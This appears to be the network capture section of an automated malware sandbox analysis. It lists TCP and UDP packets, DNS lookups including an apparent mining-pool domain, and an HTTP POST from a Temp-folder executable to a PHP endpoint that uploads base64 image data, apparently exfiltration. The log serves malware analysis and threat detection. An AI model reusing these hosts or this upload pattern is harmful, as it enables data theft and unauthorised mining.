                                                                              Jan 3, 2023 08:16:07.382332087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382368088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382380009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382415056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382431030 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382461071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382508993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382555008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382594109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382601023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382647038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382666111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382666111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382694960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382741928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382761955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382788897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382836103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382882118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382900000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382900000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382929087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382975101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382997036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382997036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.383022070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.383068085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.383095026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.383114100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.383161068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.383207083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.383224010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.383255005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.383312941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.383362055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.383430004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.943958998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.944154978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.960731983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.960808039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.960859060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.960876942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.960967064 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.961057901 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.968015909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.968059063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.968167067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.968167067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.985471010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985491991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985502958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985655069 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.985688925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985709906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985721111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985733032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985743046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.985824108 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.985910892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.985933065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.992872000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.992970943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993026018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993036985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993047953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993057966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993091106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993218899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993277073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993288040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993299007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993318081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993335962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993402958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993453026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993478060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993496895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993515015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993530989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993547916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993567944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993587017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993606091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993619919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993638992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993655920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993655920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993658066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993676901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993696928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993701935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993716955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993736029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993752003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993752003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993753910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993767023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993783951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993801117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993801117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993801117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993801117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993802071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993818045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993830919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993849039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993849993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993868113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993886948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993897915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993897915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993897915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993904114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993925095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993937016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.993947983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993947983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993947983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993948936 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.993995905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.994095087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.996218920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.996499062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:10.843900919 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:10.907437086 CET8049868141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:16:10.962135077 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:11.410190105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:11.410350084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:24.608690977 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:24.608728886 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:31.653595924 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:31.703955889 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:43.497272015 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:43.540477037 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:48.696542978 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:48.696590900 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:48.790467024 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:48.791941881 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:16:48.834867001 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:17:05.987859964 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:17:06.082119942 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:06.083811998 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:06.130400896 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:17:17.028297901 CET4988880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:17:17.086679935 CET8049888141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:17:17.086862087 CET4988880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:17:17.087321043 CET4988880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:17:17.145505905 CET8049888141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:17:17.377266884 CET8049888141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:17:17.433403969 CET4988880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:17:18.509385109 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:17:18.528621912 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:18.569359064 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:17:18.603797913 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:18.646786928 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:18.663387060 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:18.709955931 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:17:47.371277094 CET8049888141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:17:47.371649027 CET4988880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:17:53.536932945 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:17:53.582369089 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:18:28.557029963 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:18:28.609050035 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:03.563649893 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:03.612021923 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:08.430680037 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:08.524945021 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:08.525021076 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:08.525947094 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:08.577774048 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:38.575920105 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:38.629894972 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:46.128232002 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:46.128367901 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:19:46.222575903 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:46.223501921 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:19:46.268620968 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:10.155200005 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:10.207899094 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:10.301937103 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:10.351603031 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:11.293956041 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:11.343842983 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:15.553457975 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:15.647902012 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:15.649533987 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:15.703352928 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:46.301419973 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:46.348789930 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:50.775228024 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:50.775273085 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:50.869235039 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:50.870300055 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:50.925631046 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:54.631249905 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:20:54.725929022 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:54.727650881 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:20:54.771507978 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:21.304721117 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:21.354758024 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:31.812087059 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:31.906673908 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:31.907651901 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:31.949640989 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:38.545557022 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:38.616734028 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:38.640027046 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:38.641195059 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:38.691703081 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:38.711349010 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:38.786127090 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:38.832469940 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:56.048177958 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:56.142851114 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:56.143719912 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:56.187284946 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:21:56.332597017 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:21:56.376856089 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:01.625803947 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:01.720205069 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:01.721096992 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:01.772236109 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:22.422470093 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:22.422494888 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:22.516503096 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:22.518342972 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:22.572932959 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:28.851042032 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:28.903177023 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:31.231059074 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:31.231082916 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:31.325229883 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:31.326328039 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:31.381558895 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:32.978542089 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:33.035137892 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:33.897238016 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:33.943726063 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:39.448934078 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:39.494236946 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:57.172696114 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:22:57.267067909 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:57.267837048 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:22:57.323836088 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:23:11.821676016 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:23:11.865919113 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:23:12.123218060 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:23:12.217416048 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:23:12.218266010 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:23:12.258862972 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:23:15.825782061 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:23:15.881197929 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:23:30.966509104 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:23:31.061024904 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:23:31.061732054 CET395649870149.56.27.47192.168.11.20
                                                                              Jan 3, 2023 08:23:31.110749960 CET498703956192.168.11.20149.56.27.47

                                                                              UDP Packets

                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                              Jan 3, 2023 08:16:03.783884048 CET5665053192.168.11.201.1.1.1
                                                                              Jan 3, 2023 08:16:03.840270042 CET53566501.1.1.1192.168.11.20
                                                                              Jan 3, 2023 08:16:06.305226088 CET5420953192.168.11.201.1.1.1
                                                                              Jan 3, 2023 08:16:06.419552088 CET53542091.1.1.1192.168.11.20

                                                                              DNS Queries

                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                              Jan 3, 2023 08:16:03.783884048 CET192.168.11.201.1.1.10x2599Standard query (0)f0758246.xsph.ruA (IP address)IN (0x0001)false
                                                                              Jan 3, 2023 08:16:06.305226088 CET192.168.11.201.1.1.10x4547Standard query (0)na.luckpool.netA (IP address)IN (0x0001)false

                                                                              DNS Answers

                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                              Jan 3, 2023 08:16:03.840270042 CET1.1.1.1192.168.11.200x2599No error (0)f0758246.xsph.ru141.8.192.151A (IP address)IN (0x0001)false
                                                                              Jan 3, 2023 08:16:06.419552088 CET1.1.1.1192.168.11.200x4547No error (0)na.luckpool.net149.56.27.47A (IP address)IN (0x0001)false

                                                                              HTTP Request Dependency Graph

                                                                              • 179.43.141.116
                                                                              • f0758246.xsph.ru

                                                                              HTTP Packets

                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                              0192.168.11.2049867179.43.141.11680C:\Users\user\AppData\Local\Temp\ghoul.exe
                                                                              TimestampkBytes transferredDirectionData
                                                                              Jan 3, 2023 08:15:56.126760006 CET151OUTPOST /BEBRA.php HTTP/1.1
                                                                              Content-Type: application/x-www-form-urlencoded
                                                                              Host: 179.43.141.116
                                                                              Content-Length: 174985
                                                                              Expect: 100-continue
                                                                              Connection: Keep-Alive
                                                                              Jan 3, 2023 08:15:56.176579952 CET151INHTTP/1.1 100 Continue
                                                                              Jan 3, 2023 08:15:56.177252054 CET154OUTData Raw: 66 69 6c 65 7a 3d 25 32 66 39 6a 25 32 66 34 41 41 51 53 6b 5a 4a 52 67 41 42 41 51 45 41 59 41 42 67 41 41 44 25 32 66 32 77 42 44 41 41 67 47 42 67 63 47 42 51 67 48 42 77 63 4a 43 51 67 4b 44 42 51 4e 44 41 73 4c 44 42 6b 53 45 77 38 55 48 52
                                                                              Data Ascii: filez=%2f9j%2f4AAQSkZJRgABAQEAYABgAAD%2f2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL%2f2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL%2fwAARCAQ4B4ADASI
                                                                              Jan 3, 2023 08:15:56.177356005 CET164OUTData Raw: 50 39 61 51 41 4f 33 34 44 50 76 52 6e 72 33 50 6f 65 61 4f 33 54 32 34 6f 39 4f 33 66 32 25 32 62 74 41 77 4a 79 44 33 48 76 53 45 38 25 32 66 4e 6b 34 70 52 31 36 66 34 55 6e 50 34 67 65 6c 4d 42 4d 5a 78 36 6e 30 70 54 33 25 32 66 41 4a 25 32
                                                                              Data Ascii: P9aQAO34DPvRnr3PoeaO3T24o9O3f2%2btAwJyD3HvSE8%2fNk4pR16f4UnP4gelMBMZx6n0pT3%2fAJ%2b1B4Hp34zQRg9B6Y7UAH6n1%2fwpO47e4oHbsTnpR39PcUgDp6g0vAPp9c0h6n0oHbuOuen50DEA59vfrigdfy4oOMnHf0peo68evvQA09j360vU46%2fT%2bpoBxnn3pBxnIz9PSmAdj0%2btB6DP5n0oHb%2bv6
                                                                              Jan 3, 2023 08:15:56.243801117 CET172OUTData Raw: 56 6c 72 31 6c 59 36 6a 35 6c 6f 31 78 42 47 4e 54 31 47 34 6a 57 65 4e 35 47 43 79 32 77 53 4d 73 54 75 7a 6d 54 50 55 6b 25 32 62 76 72 57 75 59 6f 32 25 32 62 38 69 6e 36 69 6b 38 6d 4c 25 32 66 6e 6d 6e 25 32 66 66 49 6f 72 5a 56 47 72 4f 55
                                                                              Data Ascii: Vlr1lY6j5lo1xBGNT1G4jWeN5GCy2wSMsTuzmTPUk%2bvrWuYo2%2b8in6ik8mL%2fnmn%2ffIorZVGrOU%2bZq%2f%2fA%2fyJw%2beSo01T5E7f8H%2fADM2y1W91RNIa%2buZLm9js3ju5ZNxYt5rlcsfvfIV5ya1aaERTlVUfQU6u%2fD0PYw5L33%2fABPLxeJ%2bs1faNWMe%2fgt72NLW7uorRre4knikuEkaKRZFVWU
                                                                              Jan 3, 2023 08:15:56.243953943 CET184OUTData Raw: 62 68 53 25 32 62 70 30 70 75 43 65 69 36 4c 55 35 41 51 61 47 6e 25 32 62 75 73 44 44 25 32 66 41 4e 64 72 47 52 42 25 32 62 5a 58 48 36 31 6d 61 35 34 62 6d 76 48 67 75 74 47 73 34 35 4c 52 6f 76 76 51 4f 75 43 63 6e 74 6d 76 52 55 4b 73 7a 4c
                                                                              Data Ascii: bhS%2bp0puCei6LU5AQaGn%2busDD%2fANdrGRB%2bZXH61ma54bmvHgutGs45LRovvQOuCcntmvRUKszL1Kms1N9hq0QTm1vycr%2fzzmCliR7MFOfcZ7mt8JUq4Wsqqk35Nu35mmLwOFxdF0lDle%2blunyPH3RopGjdSrqSrA9iKZirmqf8ha8%2f67v%2fAOhGqlfdwlzRTPzWa5ZOPYKKKKokK1PDf%2fIy6d%2f18L%2f
                                                                              Jan 3, 2023 08:15:56.244118929 CET187OUTData Raw: 77 6d 33 75 58 75 6b 32 6f 76 38 41 72 48 55 4b 35 50 48 49 4b 67 41 71 63 6a 48 62 6b 31 70 77 51 73 68 33 50 46 61 78 74 74 32 34 74 72 64 49 56 78 25 32 66 75 6f 6f 48 36 56 76 68 6c 6a 50 61 4c 32 7a 30 4f 62 47 53 79 37 32 54 25 32 62 72 70
                                                                              Data Ascii: wm3uXuk2ov8ArHUK5PHIKgAqcjHbk1pwQsh3PFaxtt24trdIVx%2fuooH6VvhljPaL2z0ObGSy72T%2brp839foT0UUV6R4wUlLRzQAdqSiloASloooAKKKKACiiigAooooAKKKKACiiigAooooASloooASiiloASl70UlAwope1JQAUhpaKAENBpaKAEooFLQAlFLRQAlFLSUAFFFFAAaKKKBgaKKMUAJS0UUAGKKD0ooASiii
